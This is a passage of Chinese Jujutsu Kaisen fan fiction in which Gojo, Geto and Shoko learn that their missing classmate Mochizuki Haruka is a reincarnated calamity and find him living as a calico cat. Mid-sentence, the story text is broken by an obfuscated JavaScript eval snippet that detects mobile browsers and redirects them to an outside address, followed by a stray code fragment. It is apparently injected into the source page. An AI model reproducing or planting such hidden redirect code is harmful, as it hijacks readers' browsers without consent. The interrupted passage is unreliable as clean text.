自从那天得到遥叛逃的消息之后五条悟和夏油杰两人就撒丫子往高专外冲,连夜蛾正道的阻拦都没有用,更别提上面派来的那些臭鱼烂虾了。 现在两人在外面已经待了三天,却连望月遥的影子都没找到一个。 “该死的,他电话也不接,消息也没有!”五条悟一拳打在墙上,指节蹭出细碎的血痕,天蓝色的眼睛里满是焦躁。 夏油杰按住他的手腕,温和的眉眼间也染着不易察觉的疲惫:“别着急,悟,遥不是不知轻重的人,他只是躲起来了,我们去找他,接他回家。” 【医疗班摆烂王】:这边有新的消息,那个“天与咒缚”来找我了。 【医疗班摆烂王】:他就在高专附近隐匿,我一出来就被他带走了,好在他没有其他想法,只是来告诉我遥的事情。 【医疗班摆烂王】:你们赶紧回来,事情很严重。 两人的手机同时发出提示音,哨子在几个人的群里发了三条消息。 五条悟和夏油杰看了之后对视一眼,以最快的速度赶回高专。 两人在距离高专不远处的时候就已经感受到了家入哨子的咒力波动,在向着与他们相反的方向去。 他们心照不宣的转换方向跟了上去。 家入哨子确认他们已经跟了上来,拍了拍伏黑甚尔的肩膀,示意他带着她去之前说好的地方,他们去那里谈话。 江东区,废弃病院门口。 家入哨子和伏黑甚尔站在已经几乎要成废墟的病院旧址,看着两道身影在他们面前站定。 家入哨子跟他们对视一眼,点了点头,“你说吧。” 伏黑甚尔挑了挑眉,他也说不上来为什么要来高层看管范围内找这几个小鬼,但他向来随心而为,来就来了,反正就算被发现了,凭高层的人也抓不住他。 他吊儿郎当的打了个招呼:“六眼,对吧,还有咒灵操使,你们好啊。” “废话少说,遥在哪里。”五条悟懒得跟伏黑甚尔多废话,直接问道,手里的术式蠢蠢欲动。 伏黑甚尔嗤笑一声,把游云的绕着指节转了个圈,暗绿色的眼睛里满是玩味:“急什么?六眼,我可不是来免费送消息的。” “你能给我什么呢?” “钱、咒具,你想要什么都可以。”五条悟死死盯着伏黑甚尔,不带一丝犹豫的说出价码。 “爽快。”伏黑甚尔笑了,转身走进那片废墟,“看来你很重视那个小鬼,既然这样,跟我来吧。” 家入哨子撇了一眼落在身后的两人,跟着伏黑甚尔也进了那片废墟。 “天灾之核,听过没。”伏黑甚尔头也不回,漫不经心的抛出一个问题。 五条悟眼神一暗,“你是说,无?” 夏油杰不清楚咒术界这些秘辛,所以他没有插话,只是站在五条悟身边看向前方的伏黑甚尔。 “答对了。”伏黑甚尔站在地下通道前停了下来,“你既然知道无的事情,那肯定也听过关于无的传闻,吞噬一切的天灾,会毁灭咒术界。” “所以呢,跟遥又有什么关系。” “关系?大了去了。”说到这里,伏黑甚尔顿了顿,控制不住的笑出声,语气戏谑,“无的全名,可是望月无啊。” 望月……无? 五条悟瞳孔猛地一缩,看着不远处笑的疯狂的伏黑甚尔,望月无……望月遥。 “看样子你已经意识到了啊,六眼。”伏黑甚尔停下笑,收敛了情绪,“你们那个同期,就是无的转世啊。” “高层那些家伙五百年前就没有放过那个人,五百年后又怎么可能会放过。” “你们自己掂量掂量吧,我只能告诉你们到这了。” “对了,记得把说好的东西都给我准备好,不然我不介意帮那群老家伙给你们添点麻烦。” 地下通道的风卷着霉味,把伏黑甚尔的话钉在空气里,连夏油杰操控着的躁动的咒灵都瞬间僵住,温和的眉眼间第一次覆上彻骨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332760|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷意。 五条悟的瞳孔猛地缩成针状,他的声音抖得厉害,连咒力都跟着震颤:“你是说,遥他是五百年前的‘天灾’转世?” “不然呢?”伏黑甚尔嗤笑一声,把游云转得叮当作响,暗绿色的眼睛里满是嘲讽,“你以为高层那群老东西为什么死咬着他不放?五百年前没把‘无’捏死在奥州的焦土里,现在这小鬼转世成了你们的同期,他们怎么可能放过这块送到嘴边的肥肉?” 他往前一步,风衣下摆扫过地上的碎石,语气骤然沉了下来:“腐秽之巢的局从一开始就是冲他来的——故意激活天灾之核碎片,逼他用‘无’的力量挡‘天盖’,再扣上‘叛逃’的帽子,名正言顺地把他控制住。” 说罢,他不再管身后那三人心里是何想法,他的身影没入黑暗,直到消失不见。 家入哨子沉默着走到两人身边,“走吧,拿着这个。”她把一小块泛着温和蓝光的碎片塞到五条悟手里,那是天灾之核的碎片,“拿着它,能找到遥在哪里。” “用你的六眼,有了同源的咒力波动,你能找到的吧。” “你一定能找到的吧,悟。” 家入哨子微微仰头,认真的看着身形颀长的少年,棕色的眼眸里都是祈望。 如果她也有强力的术式,她一定会冲到最前面,把人找到,带他回来。 她从来都不是开玩笑的。 可她没有,她第一次这么痛恨自己只会反转术式。 “带他回来,悟,杰。” 他们四人缺一不可,他亲口说的。 “找到他,告诉他,不管有什么事,我们都一起面对。” 所以回来吧,遥。 五条悟指尖攥紧那块泛着蓝光的碎片,冰凉的触感顺着指腹蔓延,与他体内隐约共鸣的咒力缠在一起——那是属于遥的气息,被彻底屏蔽后,终于在这碎片的牵引下,漏出了一丝柔软的尾音。 柔和的淡蓝色咒力打着旋的飘起来,轻轻擦过几人的脸颊,牵引着几人去主人所在的方向。 25. 第四天灾爱吃小鱼干 他们那边的小剧场望月遥一概不知,他现在全部的注意力,都被七海建人指尖那根泛着油光的小鱼干勾走了魂。 七海建人和灰原雄最近捡来的三花猫,日子过得比高专里任何一个咒术师都舒坦——吃完就蜷在樱花树下晒太阳,睡醒了就趴在高专门口往远处望,连路过的低级咒灵都懒得抬爪子碰一下。 灰原雄蹲在旁边戳了戳它圆滚滚的肚皮,看着它连眼皮都懒得掀的模样,跟七海对视一眼,一拍即合:得用小鱼干让这只懒猫多动动,不然再过几天,怕是要胖得跳不上树了。 于是当那根带着咸香、烤得微微焦脆的小鱼干递到眼前时,望月遥彻底懵了。 他明明是那个能冻结全域咒术、扛住「天盖」特级咒术的第四天灾,是那个见过五百年焦土、守过奥州风雪的望月遥。 可此刻,他的瞳孔却不受控制地缩成了竖瞳,视线像被粘在那根小鱼干上,连喉咙里都不受控制地泛起馋意,嘴角甚至沁出了一点可疑的透明液体——那是属于猫的本能,顺着血脉往骨头缝里钻,把他所有的理智都冲得七零八落。 “怎么回事……我怎么会对小鱼干这么感兴趣。” 他在意识里疯狂咆哮,爪子却不受控制地抬了抬,指尖的肉垫蹭过空气,连带着尾巴都晃了晃,“为什么我会觉得这条小鱼干如此曼妙……比香香软软的草莓蛋糕还勾人?” 系统88在他意识里翻了个白眼,慢吞吞地翻开道具卡面板,支支吾吾的电子音里藏着心虚:【那个,遥啊……这个「百变小狸」道具,有一点、小小的副作用。】 【它会让你变得和真正的猫一样——包括味觉、习性,还有……对小鱼干的执念。】 “……” 望月遥僵在原地,连晃到眼前的小鱼干都忘了扑。 他变成猫也就算了,躲在学弟身边也就算了,现在还要被猫的本能支配?!他堂堂第四天灾,此刻正对着一根小鱼干流口水,连尾巴都不受控制地卷成了一个小绒球——这要是被五条悟看到,怕是要笑到把高专的屋顶掀飞。 “喵呜!” 他忍不住叫了一声,声音软乎乎的,带着点奶气的颤音,连他自己都嫌弃。 灰原雄眼睛一亮,把小鱼干举得更高了些,晃了晃:“三色!过来!过来就给你吃!” 七海建人站在旁边,温和地看着他,指尖的小鱼干在阳光下泛着诱人的光,连空气里都飘着咸香的气息——那是属于夏末的、带着烟火气的味道,比他吃过的任何玉子烧、任何草莓蛋糕都要勾人。 望月遥的爪子动了动,理智在疯狂呐喊你可是他们的前辈啊不是真的猫,身体却诚实地往前挪了一步,又一步,最后干脆踮起脚尖,用毛茸茸的脑袋去蹭灰原雄的手腕。 软乎乎的毛发蹭得少年笑出了声:“哈哈哈它真的过来了,七海你看!它好乖!” “喵~” 他蹭得更起劲了,连耳朵尖都带着点讨好的粉——没办法,小鱼干太香了,猫的本能太强大了,他认输还不行吗? 七海建人看着他眼巴巴的模样,终于把小鱼干递到他嘴边,语气温柔得像春日的风:“慢慢吃,别着急,还有很多。” 小鱼干的咸香在嘴里炸开,酥脆的口感顺着舌尖蔓延,望月遥眯起眼睛,发出满足的呼噜声,连尾巴都晃得更欢了——好吧,他承认,当猫也没那么糟糕,至少小鱼干真的很好吃。 就在他埋着头啃小鱼干的时候,高专门口传来了熟悉的脚步声。 是五条悟、夏油杰和家入硝子。 望月遥的动作猛地顿住,嘴里的小鱼干都忘了咽。 他想躲,想钻进灌木丛里,想藏到七海的书包里,可猫的本能却让他舍不得放下嘴里的小鱼干,连尾巴都还晃在半空中。 “这是你们捡的…猫?”五条悟看了眼手里的碎片,又看了眼面前抱着小鱼干吃的正香的三花猫,迟疑的开口。 “看起来很可爱,叫什么名字?” “前辈们回来啦,这是我们在高专门口捡的,叫三色!”灰原雄立刻抢答,伸手戳了戳望月遥的肚皮,“它超乖的!而且很聪明。” 望月遥埋着头,把脸藏进七海的膝盖里,连耳朵都耷拉了下来。 他其实很想上去蹭蹭几人,但他现在吃的满嘴碎渣,形象不太好。 “三色?”夏油杰温和地笑了笑,指尖的咒力轻轻落在他的背上,像在给它梳理毛发,“很可爱的名字,跟它很配。” 夏油杰走上前轻轻点了点小猫的头,但他却是看着五条悟。 “我们要找遥,怎么找到了一只猫?” “我的六眼告诉我,这只猫身上有咒力波动,和遥一样。” 相处 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【……】系统也没想到他们能认出来变成猫的望月遥,【那你自己做决定,遥,不管是什么决定我都支持你。】 望月遥轻巧地挣脱夏油杰的怀抱,悄声落在地面上,往高专里走。 走了几步,发现身后没有动静,于是他回头一看,三人安安静静的站在原地,不动也不说话,像几尊石像。 “喵!” 他对着几人喵了一声,蓬松的大尾巴甩了甩,带着点不耐烦的软气。 看几人还是没有反应,他干脆回去赏了三人一人一脚,又喵了一声,几个人才有了动作。 “不好意思,灰原,三色可以借我们一会吗。”夏油杰回过神来温和的问道。 “啊…哦,好的学长,你们去吧!”灰原雄愣了愣,立刻点头同意,他从背包里掏出一大包小鱼干,塞到五条悟手里,“那前辈们你们带着这些小鱼干吧,三色爱吃。” “喵~”听到灰原的话,望月遥对着也对着少年喵了一声。 “好孩子啊,真的是好孩子啊。” 【确实。】 五条悟把猫抱进怀里,转身就往高专的樱花树后走,天蓝色的眼睛里满是笑意:“走,杰,硝子,我们带这只懒猫去聊聊。” “好好聊聊。” 26. 第四天灾摊牌啦 高专休息室的暖光裹着几分沉滞的气压,奶白掺浅灰的三花猫蜷在沙发角,圆溜溜的猫眼偷偷瞟着面前绷着脸的三人。 五条悟抱着胳膊往门框上一靠,连标志性的墨镜都遮不住周身冷飕飕的气压,夏油杰指尖捻着咒灵球,往日温和的笑意淡得无影无踪,家入硝子叼着未点燃的烟,眼神凉丝丝地落在猫身上——他们早就猜透了,这只黏人又会偷叼糖吃的三花猫,就是一声不吭消失许久的望月遥。 气啊。 气他连一句道别都没有,气他悄无声息跑没影,连一条报平安的消息都不肯留,把高专里惦记他的人全抛在了脑后。 所以三人故意板着脸,铁了心要跟这个小骗子算总账。 窗外的暖光落在猫背上,暖乎乎的,但是望月遥却感觉背上凉嗖嗖的。 五条悟把猫往沙发上一放,自己盘腿坐好,抱着胳膊,天蓝色的眼睛透过墨镜,冷飕飕地盯着那团软绒球:“别装了,遥,你的咒力烙印骗不了人,就算裹着猫的壳子,我们也一嗅就知道是你,望月遥。” 三花猫晃了晃蓬松的大尾巴,歪着头蹭了蹭他的指尖,软乎乎地“喵”了一声,圆溜溜的冰蓝色眼睛里满是纯良无辜,摆明了要装傻充愣到底。 “哼,我现在是猫,只会喵喵叫,你们能拿我怎么样?”他在意识里翻了个白眼,爪子却诚实地勾住沙发边,生怕被拆穿。 夏油杰看得清楚,却拿他没办法,“好吧,看样子这只猫确实不是遥,那我们买的限量版蛋糕就不能给他吃了。” 说着就要拎走桌子上的蛋糕。 这话戳得彻底,可三花猫还是不为所动,舔了舔爪子,拱了拱夏油杰的袖口,全程只喵喵叫,半字人话都不肯说。 这下是真把五条悟惹急了。 他本就憋着一肚子气想算账,见遥死咬着装傻,干脆眼珠一转,耷拉下嘴角,装出一副委屈巴巴要哭的样子,声音蔫蔫的,带着刻意装出来的哭腔:“呜……遥不要我们了……跑了就算了,变成猫还装傻骗我们……五条大人好伤心,杰和硝子也天天等你消息,觉都睡不好……” 这招猝不及防。 望月遥的尾巴瞬间炸毛,原本慵懒的身子猛地一僵,冰蓝色的眼睛里满是慌乱。 他想开口说话,可猫的喉咙里只能挤出软乎乎的喵呜声,急得他抬起肉肉的粉垫爪子,啪地一下搭在五条悟的手背上,想把他的脸抬起来看看。 可他忘了,五条悟的反应速度快得离谱。 “哦?终于肯碰我了?” 五条悟眼疾手快,一把抓住那只粉粉的肉垫,指腹使劲往肉垫里揉,连带着掌心的纹路都被揉得变形,还故意用指节蹭了蹭肉垫中间的小肉球:“哈哈,这小肉垫也太软了吧!跟你以前的手一样,软乎乎的。” “喵!!!” 望月遥整只猫都僵住了,冰蓝色的眼睛里满是无语,连尾巴都垂了下来,连挣扎都懒得挣扎了。 他就知道,五条悟这家伙,从来都不会按常理出牌!他急得要死,这家伙居然在揉他的肉垫!还揉得这么用力! “系统!快救我!他要把我的肉垫揉秃了!”他在意识里疯狂咆哮,爪子却被五条悟攥得死死的,连动都动不了,“我错了!我不该急的!我不该搭他的手!” 【别慌,遥。】系统的电子音里藏着幸灾乐祸,【最多,就是被揉秃而已——反正你是猫,掉点毛也看不出来。】 夏油杰看着这幼稚的场面,终于忍不住笑了,温和的眉眼间褪去了所有愠怒,指尖轻轻抚过猫尾,像在给它解围:“好了悟,别欺负他了。” 家入硝子也翻了个白眼,走过来把一颗水果糖塞进猫的嘴里,语气里满是嫌弃,却藏着真切的温柔:“你这小鬼,就算变成猫,也还是这么好骗,一装哭就急了,跟以前一模一样。” 五条悟还在使劲揉肉垫,天蓝色的眼睛里满是得意,连声音都带着笑意:“我就知道是你,望月遥!五条大人超生气的!你居然一声不吭跑路,连一条消息都不给留守高专的悟宝宝、杰叔叔还有哨子阿姨留!” “喵呜!”望月遥用另一只爪子拍了拍他的手背,带着点不耐烦的软气,像在说“别揉了!我错了还不行吗!” 夏油杰听到那句杰叔叔,脸上的笑容一下子没绷住,直接给五条悟头顶来了一拳,然后装作若无其事的收回手,才说:“遥,我们都知道了,望月无的事情,你的事情。” “别再一声不吭的就离开好吗,我们会陪着你的。” “谁要让你离开,我们就把谁解决了。” 家入硝子靠在门上,把烟掐灭,语气也软了下来:“傻小子,别以为躲在猫的身体里就能万事大吉,我们三个,会一直陪着你,不管发生什么事,都不会让你孤身一人。” 五条悟也终于松开了肉垫,把猫抱进怀里,用下巴蹭了蹭它的耳朵尖,语气里满是傲娇:“不过账还是要算的,罚你接下来天天给五条大人买草莓蛋糕,用嘴叼着买!不然就把你的小鱼干全藏起来!” 望月遥趴在他怀里,冰蓝色的眼睛里满是无语,却还是蹭了蹭他的掌心,发出满足的呼噜声。 不过蹭了没一会,一只手就拎起还在撒娇卖萌的三花猫,是家入哨子。 她提溜着猫脖子放到自己眼跟前,“知不知道我们三个为了找你都快把整个东京翻过来了,不知道的以为我们几个要干翻咒术界呢。” “也没有这么夸张。”夏油杰笑了笑,掩饰了一下,“我们就是比较张扬的发布了一些寻人通告罢了。” 只字不提他和五条悟打上高层揪着人衣领“友善”询问的事情。 聊完了之后,几人抱起望月遥回去找七海建人和灰原雄,他们两个还不知道他们捡回来的三花猫其实就是望月遥,还把他当成猫主子伺候着。 三人抱着猫穿过高专的林荫道,路过樱花树旁的石凳时,七海建人和灰原雄正抱着一堆小鱼干和猫粮等着,看到他们过来,灰原雄立刻蹦蹦跳跳地迎上来:“悟前辈!三色吃饱了吗?我这里还有好多烤小鱼干,都是特意给它留的!” 七海建人递过一个精致的小布包,语气认真:“里面是晒干的猫草和软粮,它这几天肠胃弱,别喂太咸的。” 五条悟挑眉接过布包,故意逗怀里的猫:“哟,我们的小懒猫倒是会享福,还有学弟专门伺候,比我这个最强都过得舒坦。” 望月遥懒得理他,冲着七海和灰原轻轻“喵”了一声,算是道谢,惹得两个少年眉眼弯弯,连说“三色真乖”。 夏油杰看了眼窝在五条悟怀里的三花猫,又虚虚的揽了揽胸前的空气。 “其实这是你们的前辈哦。”夏油杰语出惊人。 还在喂三花猫的灰原雄身体一僵,挂在脸上的灿烂笑容出现一丝龟裂,“啊……不好意思夏油学长,我刚刚没听清你说的什么,能再说一遍吗。” 他寄希望于自己是听错了。 “这只三花猫是你 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“唉。”望月遥叹了口气,无奈应道,“是我七海,好久不见啊。” 七海建人:“……原来真的是望月前辈吗?” 七海建人伸出手欲言又止,看了看那三人组,又看了看白毛前辈怀里的猫,最终还是闭上了嘴,决定不问,但五条悟直接拽着七海和灰原去宿舍要大谈特谈这些事。 于是,几个人围在五条悟的宿舍里听了一遍完整的天灾故事。 因为冥冥和歌姬出去做任务了,所以他们通着电话一并讲清了,避免之后还要再说一遍。 最后,听了一下午高层秘辛的七海建人表示,果然,他要不还是退学吧。 虽然是这么想的,但他并没打算真的这么做,他看向一旁端坐的三花猫,郑重道:“望月前辈,请你放心,我们会保护好你的。” “对啊对啊,前辈!我们会保护你的!”灰原雄立马附和,他的眼里出现了熊熊燃烧的斗志,他要保护三色!啊不对,望月前辈! 歌姬和冥冥在电话那头也表示:“天凉了,是时候给高层的那些老东西找点事做做了。” “好!那我们都没有问题!”五条悟一拍桌子,直接站在了上面,“谁敢来找事情,杰!” 他指向一旁喝茶的夏油杰,“你给他搓成咒灵球!” “……”夏油杰叹了口气,“人是不能被搓成咒灵球的啊悟,你能不能考虑一下实际上手情况。” “给他做成木乃伊吧。” “还是扔到废品回收站吧。”七海建人一脸平静的提出这个建议,“垃圾就应该待在垃圾场啊。” “要不都来一遍?”看似最憨厚老实的灰原雄挠了挠后脑勺,提议道。 几人:“………………” 看错灰原雄你小子了啊!原来你才是活阎王! 但是听了这个提议的五条悟双眼放光,双手拍在灰原雄肩膀上,赞赏道:“灰原对吧,你很不错!很合我心意啊。” 望月遥:“……这俩没救了,下一个吧。” 他摇了摇小猫脑袋,最后出声阻止道:“你们不要这样,我暂时没有问题,那些人找不到我的,悟你是例外。” “那怎么办,就让他们这么针对你吗?”五条悟不乐意了。 “当然不是,我很记仇的。” “不过我们还是要从长计议呀。”